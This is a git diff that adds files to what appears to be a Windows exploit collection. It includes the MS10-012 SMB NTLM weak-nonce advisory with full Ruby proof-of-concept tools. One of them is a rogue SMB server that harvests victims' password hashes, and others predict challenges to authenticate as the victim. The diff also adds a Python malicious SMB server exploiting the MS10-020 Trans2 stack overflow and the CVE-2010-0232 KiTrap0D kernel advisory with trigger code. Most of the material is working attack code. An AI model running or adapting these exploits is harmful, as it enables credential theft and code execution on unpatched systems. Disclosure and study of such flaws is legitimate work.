0x00f5b207 + (0x40-0x44) 0x4de0efd1 0x00000000 0x00000000 0x56bf3780 + (0x44-0x48) 0x25210c65 0x00000000 0x00000000 0x00000000 + (0x48-0x4c) 0x00000000 0x00000000 0x00000000 0x00000000 + (0x4c-0x50) 0x00000000 0x00000000 0x00000000 0x00000000 + (0x50-0x54) 0x00000000 0x397415a1 0x34aa91eb 0x00000000 + (0x54-0x58) 0x231aeb35 0x00000000 0x00000000 0x00000000 + (0x58-0x5c) 0x00000000 0x04223749 0x00000000 0x1b4c91f8 + (0x5c-0x60) 0x00000000 0x00000000 0x00000000 0x71ad9da7 + (0x60-0x64) 0x00000000 0x00000000 0x00000000 0x046696bb + (0x64-0x68) 0x00000000 0x00000000 0x193b264f 0x439ef5b4 + (0x68-0x6c) 0x5bdd2f34 0x00000000 0x00000000 0x481eaee3 + (0x6c-0x70) 0x00000000 0x00000000 0x50b1e1f7 0x2a8d71dc + (0x70-0x74) 0x00000000 0x02240f41 0x0ae7948b 0x37af3d8b + (0x74-0x78) 0x00000000 0x00000000 0x77130a3a 0x640bf49f + (0x78-0x7c) 0x31665169 0x20a1c769 0x00000000 0x00000000 + (0x7c-0x80) 0x6958e618 0x00000000 0x00000000 0x00000000 + known values: 48/128 + + + - When predictor.rb finishes, it writes the values of the vector to 'x_values.log' (it also generates a file 't_values.log' containing the 'current times' observed in the 'SMB Negotiate Protocol Response' packets). + - Run generate_challenges.rb, it will generate the file 'challenges.log' with all the possible challenges based on 'x_values.log'. + - Run savecreds.rb, it will wait for incoming connections on port 445/tcp + - On the victim, use 'predict.html' with Internet Explorer to perform SMB connections to savecreds.rb's server + You will need to change the IP address of the server where savecreds.rb is running in 'predict.html', and + also the number of connections to perform (look for the line: 'if (id == 50000) {' and change accordingly). + The number of connections that need to be performed is shown by savecreds.rb. + - When savecreds.rb is finished, a file 'fullcreds.log' will be created + - Now use the metasploit module msf_smb_weak_nonce.rb as explained before with the recently generated 'fullcreds.log' against the victim + - You should be able to authenticate with the victim at the ~first attempt + + Sometimes the challenge is correctly 'guessed' at the first attempt, but the attack fails because of some SMB error. If this happens please note that the challenge was indeed correctly predicted. + Also note that since the internal vector is not completely modified after just one connection, the exploit will actually be able to predict more challenges (you might be able to run the metasploit exploit multiple times before performing the whole attack all over again). + + The predictor.rb assumes the EncryptionKeyCount is 0. If you want to run the attack multiple times you + just need to modify its value in predictor.rb. The value of EncryptionKeyCount after the attack is displayed by predictor.rb when it terminates (you need to use the value displayed + 0x100). + + After generate_challenges.rb is executed, if the number of possible challenges is 'too big' (~48000 or more) you + might want to run predictor.rb again. The size of the set of possible challenges vary according to the values in the vector. Remember to adjust EncryptionKeyCount before running predictor.rb. We recommend peforming the attack when EncryptionKeyCount is 0 specially if this is the first time this proof-of-concept is used. + + This is just a proof-of-concept exploit, it can be improved and optimized. + +====savecreds.rb====: +# Windows SMB NTLM Authentication Weak Nonce Vulnerability +# (c) 2010 Hernan Ochoa (hernan@ampliasecurity.com) +# This script waits for incoming connections on port 445/tcp and responds with +# a set to challenges, and stores the responses. + +require 'socket' +require 'time' + + +# from metasploit... +# framework-3.2/lib/rex/proto/smb/utils.rb +def time_unix_to_smb(unix_time) + t64 = (unix_time + 11644473600) * 10000000 + thi = (t64 & 0xffffffff00000000) >> 32 + tlo = (t64 & 0x00000000ffffffff) + return [thi, tlo] +end + +def waitforcreds(thenonces, num) + + nonces_ndx = 0 + conn_num = 0 + maxn = num + + + neg_proto_response_1 = + "00000051" + # NetBIOS Session Service header + "ff534d4272000000008801c00000000000000000000000000000fffe00000000" + # SMB Header + "1105000302000100041100000000010000000000fde30000007632d28015ca010000080c00e486962656d5869400000000" # Negotiate Protocol Response + + session_setupandx_access_denied = + "00000023" + # NetBIOS Session Service Header + "ff534d4273220000c08801c00000000000000000000000000000fffe00000400000000" + # SMB Header + "000000" # Session and SetupX Response payload + + + creds_filename = "fullcreds.log" + + if File.file?( creds_filename ) then + File.delete( creds_filename ) + end + + + server = TCPServer.open(445) + loop { + + if conn_num > maxn + Thread.exit + return + end + + Thread.start(server.accept) do |client| + + conn_num = conn_num + 1 + if conn_num > maxn + puts "done!" + client.close() + server.shutdown + Thread.exit + return + end + puts conn_num + + + # (1) receive Negotiate Protocol Request + + q, x = client.recvfrom(2000) + puts "neg proto request received" + pid1 = q[0x1e] + pid2 = q[0x1f] + multi1 = q[0x1e+4] + multi2 = q[0x1f+4] + + # (2) send Negotiate Protocol Response + + # set challenge in response packet + puts thenonces[nonces_ndx].to_s + neg_proto_response_1[146..146+15] = thenonces[nonces_ndx].chomp + # TODO: SET CORRECT TIME + timehi, timelo = time_unix_to_smb(Time.now.to_i) + # send packet + n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) } + # set process id + #puts pid1 + #puts pid2 + #puts multi1 + #puts multi2 + n[0x1e] = pid1 + n[0x1f] = pid2 + n[0x1e+4] = multi1 + n[0x1f+4] = multi2 + + s = ("%.8x" % timelo) + ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr + + dlo = (ss.scan(/../)).map { |s| s.to_i(16) } + + s = ("%.8x" % timehi) + ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr + + dhi = (ss.scan(/../)).map { |s| s.to_i(16) } + + n[0x3c..0x3c+3] = dlo + n[0x40..0x40+3] = dhi + + # timezone = 0 + #n[0x45] = 0 + #n[0x46] = 0 + j = n.pack("C*") + client.write(j) + puts "neg proto response sent" + + # (3) Receive Session Setup andX Request + q, x = client.recvfrom(4000) + puts "session setup andx request received!" + pid1 = q[0x1e] + pid2 = q[0x1f] + multi1 = q[0x1e+4] + multi2 = q[0x1f+4] + + # we assume the first request is anonymous + # and we send back an Error: STATUS_ACCESS_DENIED + n = session_setupandx_access_denied.scan(/../).map { |s| s.to_i(16) } + n[0x1e] = pid1 + n[0x1f] = pid2 + n[0x1e+4] = multi1 + n[0x1f+4] = multi2 + #n[0x44/2] = pid1multi1 + #n[0x45/2] = multi2 + #n[0x3c/2] = pid1 + #n[0x3d/2] = pid2 + #puts n + + begin + j = n.pack("C*") + rescue + puts $! + end + + client.write(j) + puts "session setupandx access denied sent!" + + # (4) Receive Session Setup andX Request with creds + q, x = client.recvfrom(4000) + puts "session setup andx request with creds received!" + + # Get the ANSI Password + ansi_pwd = q[0x41..0x41+23] + ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_s + puts ansi_pwd_s + + # Get the Unicode Password + unicode_pwd = q[0x59..0x59+23] + unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_s + puts unicode_pwd_s + + # Get the username (0x71) + i = 0 + v = 0 + username = "" + while v == 0 + if q[0x71+i] == 0 and q[0x71+i+1] == 0 + v = 1 + end + if q[0x71+i] != 0 + username = username + q[0x71+i].chr + end + i = i + 1 + end + + i = 0x71 + i + 1 + domain = "" + v = 0 + k = 0 + while v == 0: + if q[i+k] == 0 and q[i+k+1] == 0 + v = 1 + end + if q[i+k] != 0 + domain = domain + q[i+k].chr + end + k = k + 1 + end + + puts username + puts domain + + File.open(creds_filename, "a") { |f| f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + "," + username + "," + domain + "\n") } + + client.close + nonces_ndx = nonces_ndx + 1 + + end + } + +end + +def savecreds() + + nonces = [] + nonces_filename = "challenges.log" + + # load nonces to send to the victim + data = "" + File.open(nonces_filename, 'r') { |f| data = f.read() } + nonces = data.split(/\n/) + num = nonces.length + puts "waiting for " + num.to_s + " connections..." + + # wait for victim to encrypt the nonces + waitforcreds(nonces, num) + +end + + + +# MAIN + + print "Windows SMB NTLM Authentication weak nonce Vulnerability" + print "\n(c) 2010 Hernan Ochoa (hernan@ampliasecurity.com)\n" + + # now, we expect connections from the victim + # so we can use those connections to have the victim + # encrypt the nonces with the hases of his/her password + #the connections can be forced by + #using the classic technique of sending an email + #with link to a web page, a web page that may contain html tags like + # + # for each tag the victim will initiate 4 connections (it retries automatically..) + # so that's good for an attacker, lowers the number of + # connections it needs to force from the victim + + puts "waiting for connections from victim" + savecreds() + +====predict.html====: + + + + +
+
+
+
+
+
+
+ + + + + +====predictor.rb====: +# Windows SMB NTLM Authentication Weak Nonce Vulnerability +# Proof-of-concept challenge predictor exploit +# Hernan Ochoa & Agustin Azubel + +require 'socket' + +class LinearCongruentialGenerator + def initialize a, b, m + @a = a + @b = b + @m = m + end + + def apply x + y = ( ( ((@a * x) & 0xffffffff) + @b) & 0xffffffff) % @m + end +end + +class RtlRandomLinearCongruentialGenerator < LinearCongruentialGenerator + def initialize + a = 0x7fffffed # 2 ** 31 - 19 + b = 0x7fffffc3 # 2 ** 31 - 61 + m = 0x7fffffff # 2 ** 31 - 1 + super a, b, m + end +end + + + +class SmbSeedGenerator + def apply t + # seed = CT[1] || CT[2]-1 || CT[2] || CT[1]+1 + t_1 = (t & 0xffff) >> 8 + t_2 = (t & 0xffffff) >> 16 + + seed = 0; + seed |= t_1 + seed <<= 8; + + seed |= t_2 - 1 + seed <<= 8 + + seed |= t_2 + seed <<= 8 + + seed |= t_1 + 1 + + seed + end +end + + +module DumpableValues + def dump + File.open "#{@name}.log", "w+" do |f| + each do |value| + line = "0x%x" % value + f.puts line + end + end + end +end + + +class TValues < Array + include DumpableValues + def initialize + super + @name = "t_values" + end +end + + +class JValues < Array + include DumpableValues + def initialize + super 128, 0 + @name = "j_values" + end +end + + +class XValues < Array + include DumpableValues + def initialize + super 128 + @name = "x_values" + @known_count = 0 + end + + def show + system "clear" + items_per_row = 4 + rows = length/items_per_row + + (0...rows).each do |row| + i = row * items_per_row + print "(0x%02x-0x%02x) " % [ i, i + items_per_row ] + puts self[ i, items_per_row].map { |value| "0x%08x" % value }.join(" ") + end + puts "known values: %d/%d" % [ @known_count, length ] + end + + def []= i, x + @known_count += 1 unless self[i] + super i, x + end +end + + +class RtlRandomAttack + def initialize host + @host = host + + @lcg = RtlRandomLinearCongruentialGenerator.new + @sg = SmbSeedGenerator.new + + @encryption_key_count = 0 + + @t_values = TValues.new + @x_values = XValues.new + @j_values = JValues.new + @attempts = 0 + @count = 0 + @max_count = 128 + end + + def getChallenge + port = 445 + neg_proto_packet_1 = + "00000054" + + "ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200" + + # connect and send Negotiate Protocol Request + so = TCPSocket.open(@host, port) + n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) } + j = n.pack("C*") + so.write(j) + resp = so.recvfrom(2000) + + j = resp.to_s[0x49..0x49+7] + vuelta = j + + test = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp } + challenge = test.to_s + + t = resp.to_s[0x3c,4] + tt = t.unpack("C*").map { |v| ("%.2X" % (v)).chomp } + + return tt[3]+tt[2]+tt[1]+tt[0] + end + + def run + loop do + t = getChallenge + t = t.to_i 16 + @t_values.push t + t += @encryption_key_count + + x0 = @sg.apply t + 3.times do |t| + x = @lcg.apply x0 + y = @lcg.apply x + + j = y % 128 + + @j_values[j] += 1 + @x_values[j] = x + + x0 = y + end + + @x_values.show + break unless @j_values.include? 0 + @encryption_key_count += 0x100 + @attempts += 1 + #break if @attempts == 3000 + end + end + + def report + (0...128).each do |j| + puts "[0x%02x: 0x%02x]: 0x%08x" % [ j, @j_values[j], @x_values[j] ] + end + + puts "%d attempts" % @attempts + puts "encryption_key_count: %x" % @encryption_key_count + + @x_values.dump + @t_values.dump + end +end + +raise RuntimeError, "invalid parameters!" unless ARGV.length == 1 +attack = RtlRandomAttack.new ARGV[0] +attack.run +attack.report + + +### test values +#m = 2 ** 31 - 1 +#ct = 0xf2449d5a +#kc = 0x00572c00 +#seed = 0xc99a9bca +#x = 0x9866fc06 +#j = 0x12 + +====generate_challenges.rb====: +#!/usr/bin/env ruby -w + +# Windows SMB NTLM Authentication Weak Nonce Vulnerability +# Proof-of-concept challenge predictor exploit +# challenges generator +# Hernan Ochoa & Agustin Azubel + + +x_values = Array.new 128 +File.open "x_values.log", "r" do |f| + f.readlines.each_with_index do |line, i| + x_values[i] = line.to_i 16 + end +end + +def swap n + s = "%08x" % n + return s[6,2] + s[4,2] + s[2, 2] + s[0,2] +end + +challenges = Array.new +x_values.each do |x| + x_values.each do |y| + next if x == y + a = swap(x) + swap(y) + challenges.push a + + b = swap(x | 0x80000000) + swap(y) + challenges.push b + + c = swap(x) + swap(y | 0x80000000) + challenges.push c + end +end + + +File.open "challenges.log", "wb+" do |f| + challenges.sort.uniq.each do |c| + f.puts c + end +end + +7.References +------------ + +[1] Microsoft SMB Protocol and CIFS Protocol Overview +http://msdn.microsoft.com/en-us/library/aa365233(VS.85).aspx + +[2] Microsoft NTLM +http://msdn.microsoft.com/en-us/library/aa378749(VS.85).aspx + +[3] Microsoft Security Bulletin Advance Notification for February 2010 +http://www.microsoft.com/technet/security/Bulletin/ms10-feb.mspx + +[4] Bruce Schneier, Applied Cryptography (Second Edition), 1996. +Chapter 16, pp 369. + +8.Disclaimer +------------ + +The contents of this advisory are copyright (c) 2010 Hernan Ochoa, and +may be distributed freely provided that no fee is charged for +distribution and proper credit is given. \ No newline at end of file diff --git a/97-Windows提权/MS10-012/MS10-020.py b/97-Windows提权/MS10-012/MS10-020.py new file mode 100644 index 0000000..de23a90 --- /dev/null +++ b/97-Windows提权/MS10-012/MS10-020.py @@ -0,0 +1,146 @@ +import sys,SocketServer + +# Windows 7/2008R2 SMB Client Trans2 stack overflow (MS10-020) +# Date: 17/04/10 +# Author: Laurent Gaffié +# Tested on: Windows 7/2008R2 +# CVE: CVE-2010-0270 +# Full advisory: http://seclists.org/fulldisclosure/2010/Apr/201 +# More information: http://g-laurent.blogspot.com/2010/04/ms10-020.html +# +# Note from Exploit-DB: It has been reported to us that CVE-2010-0020 also applies +# + + +EBP = "\x42\x42\x42\x42" +EIP = "\x41\x41\x41\x41" + + +packetnego = ( +"\x00\x00\x00\x55" +"\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00" +"\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00" +"\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01" +"\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b" +"\xcf\xb0\x8c\x8d\xaf" +) + +packetsession = ( +"\x00\x00\x01\x3d" +"\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00" +"\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53" +"\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15" +"\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00" +"\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00" +"\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02" +"\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01" +"\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04" +"\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e" +"\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63" +"\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b" +"\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e" +"\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01" +"\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00" +"\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00" +"\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00" +"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00" +"\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00" +"\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00" +) + +packetsession2 = ( +"\x00\x00\x00\x75" +"\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00" +"\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00" +"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00" +"\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00" +"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00" +"\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00" +"\x65\x00\x72\x00\x00" +) + +packetree = ( +"\x00\x00\x00\x38" +"\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00" +"\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07" +"\x00\x49\x50\x43\x00\x00\x00\x00" +) + + +packetntcreate = ( +"\x00\x00\x00\x87" +"\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00" +"\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00" +"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12" +"\x00\x9b\x01\x12\x00\x00\x00" +) + +packetrans = ( +"\x00\x00\x00\x5a" +"\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00" +"\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff" +"\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00" +"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56" +"\x02\x61"+EBP+EIP +) + +class SMB1(SocketServer.BaseRequestHandler): + + def server_bind(self): + self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) + self.socket.bind(self.server_address) + + def handle(self): + try: + while True: + print "From:", self.client_address + data = self.request.recv(1024) + + ##Negotiate Protocol Response + if data[8] == "\x72": + self.request.send(packetnego) + print "Negotiate Response sent\n" + + ##Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED + if data[8] == "\x73": + self.request.send(packetsession) + print "Session Response sent\n" + #Session Setup AndX Response + data = self.request.recv(1024) + if data[8] == "\x73": + self.request.send(packetsession2) + print "Session 2 Response sent\n" + + ##Tree Connect AndX Response + if data[8] == "\x75": + self.request.send(packetree) + print "TREE Response sent\n" + + ##NT Create AndX Response, FID: 0x4000 + if data[8] == "\xa2": + self.request.send(packetntcreate) + print "NT create Response sent\n" + + ####Trans2 Response, QUERY_FS_INFO + if data[8] == "\x32": + self.request.send(packetrans) + print "Trans2 Response sent box pwned\n" + + except Exception: + print "oups" + self.request.close() + print "Disconnected from", self.client_address + +SocketServer.TCPServer.allow_reuse_address = 1 +launch = SocketServer.TCPServer(('', 445),SMB1) +launch.serve_forever() \ No newline at end of file diff --git a/97-Windows提权/MS10-012/README.md b/97-Windows提权/MS10-012/README.md new file mode 100644 index 0000000..19a9681 --- /dev/null +++ b/97-Windows提权/MS10-012/README.md @@ -0,0 +1,15 @@ +# MS10-012 +``` +This security update resolves one publicly disclosed and several privately reported vulnerabilities in Microsoft Windows. +The vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB response to a client-initiated SMB request. +To exploit these vulnerabilities, an attacker must convince the user to initiate an SMB connection to a specially crafted SMB server. +``` + +Vulnerability reference: + * [MS10-012](https://technet.microsoft.com/library/security/ms10-012) + * [exp-db](https://www.exploit-db.com/exploits/12273/) + * [SMB 路径名溢出漏洞 - CVE-2010-0020](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0020) + * [SMB 内存损坏漏洞 - CVE-2010-0021](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0021) + * [SMB 空指针漏洞 - CVE-2010-0022](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0022) + * [SMB NTLM 身份验证缺少平均信息量漏洞 - CVE-2010-0231](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0231) + diff --git a/97-Windows提权/MS10-015/CVE-2010-0232.txt b/97-Windows提权/MS10-015/CVE-2010-0232.txt new file mode 100644 index 0000000..d3e74d3 --- /dev/null +++ b/97-Windows提权/MS10-015/CVE-2010-0232.txt @@ -0,0 +1,282 @@ +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip (KiTrap0D.zip) +EDB Note: Make sure to run "vdmallowed.exe" (pre-compiled) inside the subfolder. + + + +Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack +------------------------------------------------------------------------- + +CVE-2010-0232 + +In order to support BIOS service routines in legacy 16bit applications, the +Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode +monitor code. These are implemented in two stages, the kernel transitions to +the second stage when the #GP trap handler (nt!KiTrap0D) detects that the +faulting cs:eip matches specific magic values. + +Transitioning to the second stage involves restoring execution context and +call stack (which had been previously saved) from the faulting trap frame once +authenticity has been verified. + +This verification relies on the following incorrect assumptions: + + - Setting up a VDM context requires SeTcbPrivilege. + - ring3 code cannot install arbitrary code segment selectors. + - ring3 code cannot forge a trap frame. + +This is believed to affect every release of the Windows NT kernel, from +Windows NT 3.1 (1993) up to and including Windows 7 (2009). + +Working out the details of the attack is left as an exercise for the reader. + +Just kidding, that was an homage to Derek Soeder :-) + +- Assumption 0: Setting up a VDM context requires SeTcbPrivilege. + +Creating a VDM context requires EPROCESS->Flags.VdmAllowed to be set in order +to access the authenticated system service, NtVdmControl(). VdmAllowed can +only be set using NtSetInformationProcess(), which verifies the caller has +SeTcbPrivilege. If this is true, the caller is very privileged and can +certainly be trusted. + +This restriction can be subverted by requesting the NTVDM subsystem, and then +using CreateRemoteThread() to execute in the context of the subsystem process, +which will already have this flag set. + +- Assumption 1: ring3 code cannot install arbitrary code segment selectors. + +Cpl is usually equal to the two least significant bits of cs and ss, and is +a simple way to calculate the privilege of a task. However, there is an +exception, Virtual-8086 mode. + +Real mode uses a segmented addressing scheme in order to allow 16-bit +addresses to access the 20-bit address space. This is achieved by forming +physical addresses from a calculation like (cs << 4) + (eip & 0xffff). The +same calculation is used to map the segmented real address space onto the +protected linear address space in Virtual-8086 mode. Therefore, I must be +permitted to set cs to any value, and checks for disallowed or privileged +selectors can be bypassed (PsSetLdtEnties will reject any selector where any +of the three lower bits are unset, as is the case with the required cs pair). + +- Assumption 2: ring3 code cannot forge a trap frame. + +Returning to usermode with iret is a complicated operation, the pseudocode for +the iret instruction alone spans several pages of Intel's Software Developers +Manual. The operation occurs in two stages, a pre-commit stage and a +post-commit stage. Using the VdmContext installed using NtVdmControl(), an +invalid context can be created that causes iret to fail pre-commit, thus +forging a trap frame. + +The final requirement involves predicting the address of the second-stage BIOS +call handler. The address is static in Windows 2003, XP and earlier operating +systems, however, Microsoft introduced kernel base randomisation in Windows +Vista. Unfortunately, this potentially useful exploit mitigation is trivial +to defeat locally as unprivileged users can simply query the loaded module list +via NtQuerySystemInformation(). + +-------------------- +Affected Software +------------------------ + +All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to +be affected, including but not limited to the following actively supported +versions: + + - Windows 2000 + - Windows XP + - Windows Server 2003 + - Windows Vista + - Windows Server 2008 + - Windows 7 + +-------------------- +Consequences +----------------------- + +Upon successful exploitation, the kernel stack is switched to an attacker +specified address. + +An attacker would trigger the vulnerability by setting up a specially +formed VDM_TIB in their TEB, using a code sequence like this: + +/* ... */ + // Magic CS required for exploitation + Tib.VdmContext.SegCs = 0x0B; + // Pointer to fake kernel stack + Tib.VdmContext.Esi = &KernelStack; + // Magic IP required for exploitation + Tib.VdmContext.Eip = Ki386BiosCallReturnAddress; + + NtCurrentTeb()->Reserved4[0] = &Tib; +/* ... */ + +Followed by + +/* ... */ + NtVdmControl(VdmStartExecution, NULL); +/* ... */ + +Which will reach the following code sequence via the #GP trap handler, +nt!KiTrap0D. Please note how the stack pointer is restored from the saved +(untrusted) trap frame at 43C3E6, undoubtedly resulting in the condition +described above. + +/* ... */ +.text:0043C3CE Ki386BiosCallReturnAddress proc near +.text:0043C3CE mov eax, large fs:KPCR.SelfPcr +.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi] +.text:0043C3D7 mov edi, [edi] +.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase] +.text:0043C3DC mov ecx, 84h +.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi +.text:0043C3E4 rep movsd +.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi] +.text:0043C3E9 add esp, 4 +.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread] +.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi +.text:0043C3F5 mov eax, [eax+KPCR.TSS] +.text:0043C3F8 sub edi, 220h +.text:0043C3FE mov [eax+KTSS.Esp0], edi +.text:0043C401 pop edx +.text:0043C402 mov [ecx+KTHREAD.Teb], edx +.text:0043C405 pop edx +.text:0043C406 mov large fs:KPCR.NtTib.Self, edx +.text:0043C40D mov ebx, large fs:KPCR.GDT +.text:0043C414 mov [ebx+3Ah], dx +.text:0043C418 shr edx, 10h +.text:0043C41B mov byte ptr [ebx+3Ch], dl +.text:0043C41E mov [ebx+3Fh], dh +.text:0043C421 sti +.text:0043C422 pop edi +.text:0043C423 pop esi +.text:0043C424 pop ebx +.text:0043C425 pop ebp +.text:0043C426 retn 4 +/* ... */ + +Possibly naive example code for triggering this condition is available from the +link below. + +http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip (KiTrap0D.zip) + +The code has been tested on Windows XP, Windows Server 2003/2008, Windows Vista +and Windows 7. Support for other affected operating systems is left as an +exercise for the interested reader. + +------------------- +Mitigation +----------------------- + +If you believe you may be affected, you should consider applying the workaround +described below. + +Temporarily disabling the MSDOS and WOWEXEC subsystems will prevent the attack +from functioning, as without a process with VdmAllowed, it is not possible to +access NtVdmControl() (without SeTcbPrivilege, of course). + +The policy template "Windows Components\Application Compatibility\Prevent +access to 16-bit applications" may be used within the group policy editor to +prevent unprivileged users from executing 16-bit applications. I'm informed +this is an officially supported machine configuration. + +Administrators unfamiliar with group policy may find the videos below +instructive. Further information is available from the Windows Server +Group Policy Home + +http://technet.microsoft.com/en-us/windowsserver/grouppolicy/default.aspx. + +To watch a demonstration of this policy being applied to a Windows Server 2003 +domain controller, see the link below. + +http://www.youtube.com/watch?v=XRVI4iQ2Nug + +To watch a demonstration of this policy being applied to a Windows Server 2008 +domain controller, see the link below. + +http://www.youtube.com/watch?v=u8pfXW7crEQ + +To watch a demonstration of this policy being applied to a shared but +unjoined Windows XP Professional machine, see the link below. + +http://www.youtube.com/watch?v=u7Y6d-BVwxk + +On Windows NT4, the following knowledgebase article explains how to disable the +NTVDM and WOWEXEC subsystems. + +http://support.microsoft.com/kb/220159 + +Applying these configuration changes will temporarily prevent users from +accessing legacy 16-bit MS-DOS and Windows 3.1 applications, however, few users +require this functionality. + +If you do not require this feature and depend on NT security, consider +permanently disabling it in order to reduce kernel attack surface. + +------------------- +Solution +----------------------- + +Microsoft was informed about this vulnerability on 12-Jun-2009, and they +confirmed receipt of my report on 22-Jun-2009. + +Regrettably, no official patch is currently available. As an effective and easy +to deploy workaround is available, I have concluded that it is in the best +interest of users to go ahead with the publication of this document without an +official patch. It should be noted that very few users rely on NT security, the +primary audience of this advisory is expected to be domain administrators and +security professionals. + +------------------- +Credit +----------------------- + +This bug was discovered by Tavis Ormandy. + +------------------- +Greetz +----------------------- + +Greetz to Julien, Neel, Redpig, 